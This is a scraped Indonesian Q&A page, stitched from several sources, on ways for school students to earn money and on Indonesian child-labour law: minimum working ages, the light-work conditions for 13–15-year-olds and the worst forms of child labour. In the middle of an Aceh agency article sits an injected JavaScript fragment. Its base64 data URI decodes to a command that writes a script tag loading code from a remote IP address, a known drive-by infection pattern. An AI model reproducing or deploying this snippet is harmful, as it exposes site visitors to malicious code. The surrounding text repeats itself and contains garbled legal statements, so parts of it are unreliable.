Cara Mencari Uang Tambahan untuk Anak SMA SMP
- 1. Membuka Bisnis Online
- 2. Berbisnis sesuai passion
- 3. Jadi driver online atau Kurir
- 4. Menjadi youtuber dan blogger
- 5. Jasa desain grafis dan photographer
- 6. Jasa install ulang laptop atau Flashing HP
- 7. Mendirikan Koperasi Sekolah
- 8. Berjualan Makanan di Kantin
Meer items
Lihat jawaban lengkap
Contents
Apakah anak smp boleh bekerja?
Pada usia berapa seseorang dibolehkan bekerja? Pekerja dengan usia muda bahkan mungkin di bawah umur angkatan kerja yang sering disebut sebagai pekerja anak masih banyak kita jumpai di Indonesia. Bagaimana sebenarnya Undang-undang mengaturnya? Apakah seorang anak berusia 13 tahun layak bekerja? Tentu saja sisi perkembangan kepribadian, mentalitas dalam bekerja, pengetahuan, dsb mempengaruhi kinerja kerja mereka apalagi bila mereka diberi pekerjaan – pekerjaan yang mempunyai tanggung jawab yang berat.
Undang-undang No.13 Tahun 2003 tentang Ketenagakerjaan
Undang-Undang ini mengatur mengenai hal yang berhubungan pekerja anak mulai dari batas usia diperbolehkan kerja, siapa yang tergolong anak, pengupahan dan perlidungan bagi pekerja anak.2. Undang-undang No.20 Tahun 1999 tentang Ratifikasi Konvensi ILO No.138 Tahun 1973 mengenai Batas Usia Minimum Diperbolehkan Bekerja Undang-Undang ini mengatur dengan jelas tentang umur minimum seseorang untuk bekerja
- Umur minimum tidak boleh 15 tahun. Negara-negara yang fasilitas perekonomian dan pendidikannya belum dikembangkan secara memadai dapat menetapkan usia minimum 14 tahun untuk bekerja pada tahap permulaan.
- Umur minimum yang lebih tua yaitu 18 tahun ditetapkan untuk jenis pekerjaan yang berbahaya “yang sifat maupun situasi dimana pekerjaan tersebut dilakukan kemungkinan besar dapat merugikan kesehatan, keselamatan atau moral anak-anak”.
- Umur minimum yang lebih rendah untuk pekerjaan ringan ditetapkan pada umur 13 tahun.
3. Undang-Undang No.1 tahun 2000 tentang Ratifikasi Konvensi ILO No.182 Tahun 1999 mengenai Pelarangan dan Tindakan Segera Penghapusan Bentuk-bentuk Pekerjaan Terburuk untuk Anak Undang-Undang ini menghimbau adanya pelarangan dan aksi untuk menghapuskan segala bentuk perbudakan atau praktek-praktek sejenis perbudakan, seperti penjualan dan perdagangan anak-anak, kerja ijon dan kerja paksa, termasuk pengerahan anak-anak atau secara paksa atau untuk dimanfaatkan dalam konflik bersenjata dengan menerapkan undang-undang dan peraturan.
- Pada usia minimum berapa seseorang diperbolehkan bekerja? Pasal 68 UU No.13 tahun 2003 menyebutkan bahwa pengusaha dilarang mempekerjakan anak,
- Dan dalam ketentuan undang-undang tersebut, anak adalah setiap orang yang berumur dibawah 18 tahun.
- Berarti 18 tahun adalah usia minimum yang diperbolehkan pemerintah untuk bekerja.
Apakah remaja usia sekolah dibenarkan untuk bekerja oleh Undang-undang? Merujuk pertanyaan sebelumnya di atas sebenarnya jawabannya adalah tidak boleh, namun di dalam undang-undang yang sama pasal 69, 70, dan 71 menjelaskan pengecualian bagi anak usia 13 – 15 tahun diizinkan melakukan pekerjaan ringan sepanjang tidak mengganggu perkembangan dan kesehatan fisik, mental, dan sosial.
Kemudian juga anak dengan usia minimum 14 tahun dapat melakukan pekerjaan di tempat kerja yang merupakan bagian dari kurikulum pendidikan atau pelatihan dan anak dapat melakukan pekerjaan untuk mengembangkan bakat dan minatnya. Bagaimana sistem pengupahan untuk remaja bekerja ini? Mengenai pengupahan terhadap pekerja remaja, perusahaan diberikan hak sesuai Pasal 92 ayat 1 UU No.13 tahun 2003 untuk menyusun struktur dan skala upah dengan memperhatikan golongan, jabatan, masa kerja, pendidikan, dan kompetensi.
Maka, biasanya upah bagi golongan pekerja usia sangat muda ini berada di bawah pekerja biasanya. Baca Juga
- Apa saja bentuk pekerjaan yang diperbolehkan untuk anak?
- Apa persyaratan untuk mempekerjakan anak usia 13 – 15 tahun untuk pekerjaan ringan?
- Apa kriteria dari pekerjaan untuk mengembangkan bakat dan minat anak?
- Apa saja persyaratan yang wajib dipenuhi perusahaan/pengusaha yang ingin mempekerjakan anak untuk mengembangkan bakat dan minat?
- Apa saja yang termasuk dalam kategori pekerjaan terburuk bagi pekerja anak?
- Apa saja jenis-jenis pekerjaan yang berbahaya bagi anak?
Sumber :
- Undang-Undang Nomor 13 Tahun 2003 tentang Tenaga Kerja.
- Undang-undang No.20 Tahun 1999 tentang Ratifikasi Konvensi ILO No.138 Tahun 1973 mengenai Batas Usia Minimum Diperbolehkan Bekerja.
- Undang-Undang No.1 tahun 2000 tentang Ratifikasi Konvensi ILO No.182 Tahun 1999 mengenai Pelarangan dan Tindakan Segera Penghapusan Bentuk-bentuk Pekerjaan Terburuk untuk Anak.
- Keputusan Menteri Tenaga Kerja dan Transmigrasi No: KEP.235 /MEN/2003 tentang Jenis-Jenis Pekerjaan yang Membahayakan Kesehatan, Keselamatan atau Moral Anak.
- Keputusan Menteri Tenaga Kerja dan Transmigrasi No. Kep.115/Men/VII/2004 tentang Perlindungan bagi Anak yang melakukan Pekerjaan untuk Mengembangkan Bakat dan Minat.
Umur 14 tahun bisa kerja apa?
Usia minimum untuk bekerja – Usia minimum untuk pekerjaan yang bersifat tetap adalah 15 tahun. Hukum melarang perusahaan mempekerjakan anak-anak. Menurut undang-undang anak adalah setiap orang yang berumur kurang dari 18 tahun. Pekerja muda yang berusia antara 13 sampai 15 tahun dapat dipekerjakan untuk pekerjaan ringan, asalkan pekerjaan tersebut tidak mempengaruhi perkembangan fisik, mental dan sosialnya.
Pekerjaan ringan memerlukan izin tertulis dari orang tua/wali dan majikan harus memberi mereka kontrak kerja; anak hanya dapat dipekerjakan pada siang hari selama 3 jam (maksimal) tanpa mengganggu sekolahnya; Persyaratan kesehatan dan keselamatan kerja harus dipenuhi; dan upah diberikan sesuai dengan hukum yang berlaku.
apabila seorang anak bekerja dalam bisnis keluarga, persetujuan orang tua/wali, adanya kontrak kerja tertulis dan pembayaran upah bukanlah persyaratan. Anak-anak berusia 14 tahun atau lebih dapat dipekerjakan di tempat kerja sebagai bagian dari kurikulum atau pelatihan pendidikan sekolah mereka yang telah disahkan oleh pihak berwenang, dengan ketentuan bahwa anak-anak tersebut diberi petunjuk yang jelas tentang cara melakukan pekerjaan mereka serta bimbingan.
- Dan pengawasan terhadap cara pelaksanaan pekerjaan; dan bahwa keselamatan dan kesehatan kerja anak-anak dilindungi.
- Undang-undang juga mensyaratkan bahwa tempat kerja anak harus terpisah dari pekerja/buruh dewasa.
- Juga, anak-anak dianggap sedang bekerja jika mereka ditemukan di tempat kerja kecuali ada bukti yang membuktikan sebaliknya.
Usia wajib belajar adalah 15 tahun. Source: §68-73 Undang-Undang Ketenagakerjaan (UU Nomor 13/2003) sebagaimana telah diubah dengan UU Cipta Kerja (UU Nomor 11/2020); §48 Undang-Undang Perlindungan Anak (UU No.23/2002); §6 & 34 Undang-Undang Sistem Pendidikan Nasional (UU No.20/2003)
Lihat jawaban lengkap
Apakah anak 13 tahun bisa kerja?
Saat ini sedang maraknya diperbincangkan masyarakat soal pekerja anak, ada beberapa pertanyaan yang muncul, pada usia berapa seseorang dibolehkan bekerja? Bagaimana jam kerja, jenis pekerjaan dan upahnya ? semua ini dalam rangka upaya perlindungan terhadap anak. Pekerja anak adalah sebuah istilah untuk mempekerjakan anak kecil. Istilah pekerja anak dapat memiliki konotasi pengeksploitasian anak kecil atas tenaga mereka, dengan gaji yang kecil atau pertimbangan bagi perkembangan kepribadian mereka, keamanannya, kesehatan, dan prospek masa depan.
- Di beberapa negara, hal ini dianggap tidak baik bila seorang anak di bawah umur tertentu, tidak termasuk pekerjaan rumah tangga dan pekerjaan sekolah.
- Seorang ‘bos’ dilarang untuk mempekerjakan anak di bawah umur, namun upah minimumnya tergantung dari peraturan negara tersebut.
- Meskipun ada beberapa anak yang mengatakan dia ingin bekerja (karena bayarannya yang menarik, ingin membantu keluarga atau karena anak tersebut tidak suka sekolah), hal tersebut tetap merupakan hal yang tidak diinginkan karena tidak menjamin masa depan anak tersebut.
Penggunaan anak kecil sebagai pekerja sekarang ini dianggap oleh negara-negara kaya sebagai pelanggaran hak manusia, dan melarangnya, tetapi negara miskin mungkin masih mengizinkan karena keluarga seringkali bergantung pada pekerjaan anaknya untuk bertahan hidup dan kadangkala merupakan satu-satunya sumber pendapatan. Pekerja dengan usia muda bahkan mungkin di bawah umur angkatan kerja yang sering disebut sebagai pekerja anak masih banyak kita jumpai di Indonesia dan Aceh khususnya. Bagaimana sebenarnya Undang-undang mengaturnya? Apakah seorang anak berusia 13 tahun layak bekerja? Tentu saja sisi perkembangan kepribadian, mentalitas dalam bekerja, pengetahuan, dsb mempengaruhi kinerja kerja mereka apalagi bila mereka diberi pekerjaan – pekerjaan yang mempunyai tanggung jawab yang berat.
Belum lagi, pekerjaan berat bisa mengganggu perkembangan dan kesehatan fisik, mental dan sosial anak – anak. Jadi apakah layak?,adakah UU yang mengatur tentang hal ini?? Berikut beberapa UU terkait Ketenagakerjaan 1. Undang-undang No.13 Tahun 2003 tentang Ketenagakerjaan; Undang-Undang ini mengatur mengenai hal yang berhubungan pekerja anak mulai dari batas usia diperbolehkan kerja, siapa yang tergolong anak, pengupahan dan perlidungan bagi pekerja anak.
Pasal 68 UU No.13 tahun 2003 menyebutkan bahwa pengusaha dilarang mempekerjakan anak. Dan dalam ketentuan undang-undang tersebut, anak adalah setiap orang yang berumur dibawah 18 tahun. Berarti 18 tahun adalah usia minimum yang diperbolehkan pemerintah untuk bekerja.
Dalam undang-undang yang sama pasal 69, 70, dan 71 menjelaskan pengecualian bagi anak usia 13 – 15 tahun diizinkan melakukan pekerjaan ringan sepanjang tidak mengganggu perkembangan dan kesehatan fisik, mental, dan sosial. Kemudian juga anak dengan usia minimum 14 tahun dapat melakukan pekerjaan di tempat kerja yang merupakan bagian dari kurikulum pendidikan atau pelatihan dan anak dapat melakukan pekerjaan untuk mengembangkan bakat dan minatnya.
Bagaimana sistem pengupahan untuk remaja bekerja ini? Mengenai pengupahan terhadap pekerja remaja, perusahaan diberikan hak sesuai Pasal 92 ayat 1 UU No.13 tahun 2003 untuk menyusun struktur dan skala upah dengan memperhatikan golongan, jabatan, masa kerja, pendidikan, dan kompetensi. Apa saja bentuk pekerjaan yang diperbolehkan untuk anak? Pada prinsipnya anak tidak boleh bekerja, dikecualikan untuk kondisi dan kepentingan tertentu anak diperbolehkan bekerja, sebagaimana diatur dalam Undang-undang No.13 tahun 2003 tentang Ketenagakerjaan. Bentuk pekerjaan tersebut antara lain: 1. Pekerjaan Ringan; Anak yang berusia 13 sampai dengan 15 tahun diperbolehkan melakukan pekerjaan ringan sepanjang tidak mengganggu perkembangan dan kesehatan fisik,mental dan sosial.2. Pekerjaan dalam rangka bagian kurikulum pendidikan atau pelatihan; Anak dapat melakukan pekerjaan yang merupakan bagian dari kurikulum pendidikan atau pelatihan yang disahkan oleh pejabat yang berwenang dengan ketentuan : • Usia paling sedikit 14 tahun. • Diberi petunjuk yang jelas tentang cara pelaksanaan pekerjaan serta mendapat bimbingan dan pengawasan dalam melaksanakn pekerjaan. • Diberi perlindungan keselamatan dan kesehatan kerja 3. Pekerjaan untuk mengembangkan bakat dan minat; untuk mengembangkan bakat dan minat anak dengan baik, maka anak perlu diberikan kesempatan untuk menyalurkan bakat dan minatnya.Untuk menghindarkan terjadinya eksploitasi terhadap anak, pemerintah telah mengesahkan kebijakan berupa Kepmenakertrans No. Kep.115/Men/VII/2004 tentang Perlindungan bagi Anak Yang Melakukan Pekerjaan Untuk Mengembangkan Bakat dan Minat. Apa persyaratan untuk mempekerjakan anak usia 13 – 15 tahun untuk pekerjaan ringan? Pengusaha yang mempekerjakan anak pada pekerjaan ringan harus memenuhi persyaratan : a. izin tertulis dari orang tua atau wali; b. perjanjian kerja antara pengusaha dengan orang tua atau wali; c. waktu kerja maksimum 3 (tiga) jam; d. dilakukan pada siang hari dan tidak mengganggu waktu sekolah; e. menjamin keselamatan dan kesehatan kerja; f. adanya hubungan kerja yang jelas; dan g. menerima upah sesuai dengan ketentuan yang berlaku. Apa kriteria dari pekerjaan untuk mengembangkan bakat dan minat anak? Dalam Kepmenakertrans No. Kep.115/Men/VII/2004 dijelaskan bahwa pekerjaan untuk mengembangkan bakat dan minat, harus memenuhi kriteria : a. Pekerjaan tersebut bisa dikerjakan anak sejak usia dini b. Pekerjaan tersebut diminati anak c. Pekerjaan tersebut berdasarkan kemampuan anak d. Pekerjaan tersebut menambahkan kreativitas dan sesuai dengan dunia anak Apa saja persyaratan yang wajib dipenuhi perusahaan/pengusaha yang ingin mempekerjakan anak untuk mengembangkan bakat dan minat? Dalam mempekerjakan anak untuk mengembangkan bakat dan minat yang berumur kurang dari 15 tahun, Pengusaha wajib memenuhi persyaratan sebagai berikut : • Membuat perjanjian kerja secara tertulis dengan orang tua / wali yang mewakili anak dan memuat kondisi dan syarat kerja sesuai dengan ketentuan yang berlaku. • Mempekerjakan diluar waktu sekolah. • Memenuhi ketentuan waktu kerja paling lama 3 jam/hari dan 12 jam/minggu. • Melibatkan orang tua / wali di lokasi tempat kerja untuk melakukan pengawasan langsung. • Menyediakan tempat dan lingkungan kerja yang bebas dari peredaran dan penggunaan narkotika, perjudian, minuman keras, prostitusi dan hal-hal sejenis yang memberikan pengaruh buruk terhadap perkembangan fisik, mental, dan sosial anak. • Menyediakan fasilitas tempat istirahat selama waktu tunggu • Melaksanakan syarat-syarat keselamatan dan kesehatan kerja Apa saja yang termasuk dalam kategori pekerjaan terburuk bagi pekerja anak? Bentuk pekerjaan terburuk untuk anak menurut pasal 74 ayat 2 UU. No 13/ 2003, meliputi: 1. Segala pekerjaan dalam bentuk perbudakan atau sejenisnya.2. Segala pekerjaan yang memanfaatkan, menyediakan, atau menawarkan anak untuk pelacuran, produksi pornografi, pertunjukan porno atau perjudian.3. Segala pekerjaan yang memanfaatkan, menyediakan atau melibatkan anak untuk produksi dan perdagangan minuman keras, narkotika, psikotropika dan zat adiktif lainnya dan atau 4. Semua pekerjaan yang membahayakan kesehatan, keselamatan atau moral anak. Apa saja jenis-jenis pekerjaan yang berbahaya bagi anak? Jenis-jenis pekerjaaan yang membahayakan kesehatan, keselamatan, atau moral anak ditetapkan dengan Keputusan Menteri No: KEP.235 /MEN/2003, yaitu : 1. Jenis-Jenis Pekerjaan Yang Membahayakan Kesehatan dan Keselamatan Kerja : Pekerjaan yang berhubungan dengan mesin, pesawat, instalasi & peralatan lainnya, meliputi : pekerjaan pembuatan, perakitan / pemasangan, pengoperasian dan perbaikan: • Mesin-mesin • Pesawat • Alat berat : traktor, pemecah batu, grader, pencampur aspal, mesin pancang • Instalasi : pipa bertekanan, listrik, pemadam kebakaran dan saluran listrik. • Peralatan lainnya : tanur, dapur peleburan, lift, pecancah. • Bejana tekan, botol baja, bejana penimbun, bejana pengangkut dan sejenisnya. • Pekerjaan yang dilakukan pada lingkungan kerja yang berbahaya meliputi : • Pekerjaan yang mengandung bahaya fisik • Pekerjaan yang mengandung bahaya kimia • Pekerjaan yang mengandung bahaya biologis Pekerjaan yang mengandung sifat dan keadaan berbahaya tertentu: • Konstruksi bangunan, jembatan, irigasi / jalan • Pada perusahaan pengolahan kayu seperti penebangan, pengangkutan dan bongkar muat. • Mengangkat dan mengangkut secara manual beban diatas 12 kg untuk anak laki-laki dan 10 kg untuk anak perempuan. • Dalam bangunan tempat kerja terkunci. • Penangkapan ikan yang dilakukan dilepas pantai atau perairan laut dalam. • Dilakukan didaerah terisolir dan terpencil. • Di Kapal. • Dalam pembuangan dan pengolahan sampah atau daur ulang barangbarang bekas. • Dilakukan antara pukul 18.00 – 06.00 2. Jenis-Jenis Pekerjaan Yang Membahayakan Moral Anak • Pekerjaan pada usaha bar, diskotik, karaoke, bola sodok, bioskop, panti pijat atau lokasi yang dapat dijadikan tempat prostitusi • Pekerjaan sebagai model untuk promosi minuman keras, obat perangsang seksualitas dan/atau rokok.2. Undang-undang No.20 Tahun 1999 tentang Ratifikasi Konvensi ILO No.138 Tahun 1973 mengenai Batas Usia Minimum Diperbolehkan Bekerja Undang-Undang ini mengatur dengan jelas tentang umur minimum seseorang untuk bekerja • Umur minimum tidak boleh 15 tahun. Negara-negara yang fasilitas perekonomian dan pendidikannya belum dikembangkan secara memadai dapat menetapkan usia minimum 14 tahun untuk bekerja pada tahap permulaan. • Umur minimum yang lebih tua yaitu 18 tahun ditetapkan untuk jenis pekerjaan yang berbahaya “yang sifat maupun situasi dimana pekerjaan tersebut dilakukan kemungkinan besar dapat merugikan kesehatan, keselamatan atau moral anak-anak”. • Umur minimum yang lebih rendah untuk pekerjaan ringan ditetapkan pada umur 13 tahun.3. Undang-Undang No.1 tahun 2000 tentang Ratifikasi Konvensi ILO No.182 Tahun 1999 mengenai Pelarangan dan Tindakan Segera Penghapusan Bentuk-bentuk Pekerjaan Terburuk untuk Anak; Undang-Undang ini menghimbau adanya pelarangan dan aksi untuk menghapuskan segala bentuk perbudakan atau praktek-praktek sejenis perbudakan, seperti penjualan dan perdagangan anak-anak, kerja ijon dan kerja paksa, termasuk pengerahan anak-anak atau secara paksa atau untuk dimanfaatkan dalam konflik bersenjata dengan menerapkan undang-undang dan peraturan.4. Peraturan Gubernur Aceh Nomor 45 tahun 2009 Tentang Komite Aksi Aceh Penghapusan bentuk-bentuk pekerjaan terburuk untuk anak Bagaimana dengan Kota Banda Aceh, masih banyak kita temukan anak-anak yang dieksploitasi ekonomi dan seksual oleh orang dewasa bahkan orang tua kandung dengan dalih membantu ekonomi keluarga, seperti berjualan/asongan, pekerja toko, pekerja rumah tangga, nelayan, mencuci piring di rumah makan, mengemis, bekerja di café, pekerja seks, derma. Apakah kondisi ekonomi keluarga sudah sangat kritis, berdasarkan laporan yang masuk ke P2TP2A Madani bahwa salah satunya yang paling menonjol adalah soal penelantaran. Ibu harus bekerja banting tulang memenuhi kebutuhan hidup sehari-hari terkadang sampai melibatkan anak-anak, Jenis pekerjaanya pun memerlukan tenaga fisik yang kuat karena pekerjaan lain sulit didapat dengan kapasitas seadanya. Apakah tindakan ini dibenarkan dan sudah sesuaikah dengan aturan yang berlaku?? Hal ini sebaiknya menjadi perhatian semua pihak sehingga pendekatannya lebih holistic.(Ajud) Oleh: P2TP2A Madani Kota Banda Aceh function getCookie(e) \(\)\\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)
Lihat jawaban lengkap
Apakah anak umur 13 tahun bisa kerja?
Beranda Klinik Ketenagakerjaan Di Usia Berapa Anak,
Ketenagakerjaan Di Usia Berapa Anak,
Ketenagakerjaan Senin, 25 Januari 2021 Berapa usia minimum tenaga kerja anak yang dipekerjakan sebagai pembantu rumah tangga? Di mana kami dapat mengurus perizinan membuka Lembaga Pelatihan Kerja (“LPK”) untuk melatih baby sitter ? Terima kasih sebelumnya. Pada dasarnya, pengusaha (pemberi kerja) dilarang mempekerjakan anak. Namun hal tersebut dikecualikan bagi anak yang berumur antara 13 sampai dengan 15 tahun untuk pekerjaan ringan sepanjang tidak mengganggu perkembangan kesehatan, fisik, dan mental serta sosial si anak.
Selain itu, patut diperhatikan pula bahwa anak di bawah usia 18 tahun tidak boleh dipekerjakan pada pekerjaan-pekerjaan yang membahayakan kesehatan, keselamatan atau moral si anak. Apa saja syarat-syarat yang harus dipenuhi untuk mempekerjakan anak? Penjelasan lebih lanjut dapat Anda klik ulasan di bawah ini.
Artikel ini adalah pemutakhiran dari artikel dengan judul Usia Minimum Kerja yang dibuat oleh Umar Kasim dan pertama kali dipublikasikan pada Jumat, 23 Juli 2010. Ketentuan Mempekerjakan Anak Pada dasarnya, pengusaha (pemberi kerja) dilarang mempekerjakan anak,
ada izin tertulis dari orang tua/walinya; adanya perjanjian kerja antara pemberi kerja dengan orang tua/wali si anak; waktu kerja maksimal 3 jam; hanya boleh dipekerjakan pada siang hari dan tidak mengganggu waktu sekolah; pemberi kerja harus menjaga keselamatan dan kesehatan kerja (K3) si anak; adanya hubungan kerja yang jelas; dan anak menerima upah sesuai dengan ketentuan yang berlaku.
Patut diperhatikan, syarat-syarat mengenai izin dari orang tua/wali, adanya perjanjian kerja dan hubungan kerja serta keharusan membayar upah sesuai ketentuan yang berlaku dikecualikan bagi anak yang bekerja pada usaha keluarganya ( huisvlijt atau home industry ).
segala bentuk perbudakan atau praktek-praktek sejenis perbudakan, seperti penjualan dan perdagangan anak-anak, kerja ijon ( debt bondage ) dan perhambaan serta kerja paksa atau wajib kerja, termasuk pengarahan anak-anak secara paksa atau wajib untuk dimanfaatkan dalam konflik bersenjata; pemanfaatan, penyediaan atau penawaran anak untuk pelacuran, untuk produksi pornografi, atau untuk pertunjukan-pertunjukan porno; pemanfaatan, penyediaan atau penawaran anak untuk kegiatan haram, khususnya untuk produksi dan perdagangan obat-obatan sebagaimana diatur dalam perjanjian internasional yang relevan; pekerjaan yang sifatnya atau lingkungan tempat pekerjaan itu dilakukan dapat membahayakan kesehatan, atau moral anak-anak.
Apabila anak telah berusia 18 tahun, ia sudah dapat bekerja secara umum dan normal sesuai dengan kualifikasi dan kompetensi kerja atau profesi yang ia miliki. Dalam hal ini, apabila Anda hendak mempekerjakan anak sebagai pembantu rumah tangga, Anda harus memastikan bahwa anak yang dipekerjakan tersebut secara hukum diperbolehkan untuk dipekerjakan dan menjamin hak-hak anak sebagaimana yang kami jelaskan di atas.
Perizinan Lembaga Pelatihan Kerja Pelatihan kerja adalah keseluruhan kegiatan untuk memberi, memperoleh, meningkatkan, serta mengembangkan kompetensi kerja, produktivitas, disiplin, sikap, dan etos kerja pada tingkat keterampilan dan keahlian tertentu sesuai dengan jenjang dan kualifikasi jabatan atau pekerjaan.
Pelatihan kerja diselenggarakan oleh Lembaga Pelatihan Kerja (“LPK”) yang terdiri dari:
LPK pemerintah; LPK swasta; dan LPK perusahaan.
Berkaitan dengan pertanyaan Anda, kami mengasumsikan bahwa LPK yang Anda maksud adalah LPK swasta. Penyelenggara LPK wajib memenuhi persyaratan berikut ini :
tersedianya tenaga kepelatihan; adanya kurikulum yang sesuai dengan tingkat pelatihan; tersedianya sarana dan prasarana pelatihan kerja; dan tersedianya dana bagi kelangsungan kegiatan penyelenggaraan pelatihan kerja.
Terkait perizinan, LPK swasta wajib memenuhi perizinan berusaha yang diterbitkan oleh Pemerintah Kabupaten/Kota. Namun, jika terdapat penyertaan modal asing dalam LPK swasta yang hendak Anda dirikan, maka perizinan berusaha diterbitkan oleh Pemerintah Pusat.
- Nantinya, LPK swasta yang telah memperoleh izin dapat memperoleh akreditasi dari lembaga akreditasi.
- Seluruh informasi hukum yang ada di Klinik hukumonline.com disiapkan semata – mata untuk tujuan pendidikan dan bersifat umum (lihat Pernyataan Penyangkalan selengkapnya).
- Untuk mendapatkan nasihat hukum spesifik terhadap kasus Anda, konsultasikan langsung dengan Konsultan Mitra Justika,
Demikian jawaban dari kami, semoga bermanfaat. Pasal 68 UU Ketenagakerjaan Pasal 69 ayat (1) UU Ketenagakerjaan Pasal 69 ayat (2) UU Ketenagakerjaan Pasal 3 Lampiran UU 1/2000 Pasal 1 angka 9 UU Ketenagakerjaan Pasal 15 UU Ketenagakerjaan Pasal 81 angka 2 UU Cipta Kerja yang mengubah Pasal 14 ayat (1) UU Ketenagakerjaan Pasal 81 angka 2 UU Cipta Kerja yang mengubah Pasal 14 ayat (2) UU Ketenagakerjaan Pasal 16 ayat (1) UU Ketenagakerjaan Tags:
Lihat jawaban lengkap
SMP seharusnya umur berapa?
Kelas 1 SMP untuk usia 12 dan 13 tahun, kelas 2 SMP untuk usia 13 dan 14 tahun, kelas 3 SMP untuk usia 14 dan 15 tahun. kelas 1 SMA untuk usia 15 dan 16 tahun, kelas 2 SMA untuk usia 16 dan 17 tahun, kelas 3 SMA untuk usia 17 dan 18 tahun.
Lihat jawaban lengkap
SMP maksimal umur berapa?
3. SMA –
Umur maksimal 21 tahun per 1 Juli 2022.Lulusan SMP atau sederajat.Tercatat dalam Kartu Keluarga yang dikeluarkan paling singkat 1 tahun sebelum awal tanggal pendaftaran.
Anak SMP minimal umur berapa?
CPDB jenjang SLB – 1. TKLB
memiliki akte kelahiran/ surat keterangan laporan kelahiran dari pihak yang berwenang; dan tercatat dalam Kartu Keluarga.
2. SDLB
berusia paling rendah berusia 6 (enam) tahun pada tanggal 1 Juli tahun berjalan; memiliki akte kelahiran/ surat keterangan laporan kelahiran dari pihak yang berwenang; dan tercatat dalam Kartu Keluarga yang diterbitkan paling singkat 1 (satu) tahun sebelum awal tanggal pendaftaran.
3. SMPLB
berusia paling tinggi 18 (delapan belas) tahun pada tanggal 1 Juli tahun berjalan, telah menyelesaikan Kelas 6 SD atau bentuk lain yang sederajat dibuktikan dengan ijazah atau dokumen lain yang menyatakan kelulusan; dan tercatat dalam Kartu Keluarga yang diterbitkan paling singkat 1 (satu) tahun sebelum awal tanggal pendaftaran.
Baca juga: 7 Tanda Anak Cerdas dan Berpotensi Punya IQ Tinggi
Lihat jawaban lengkap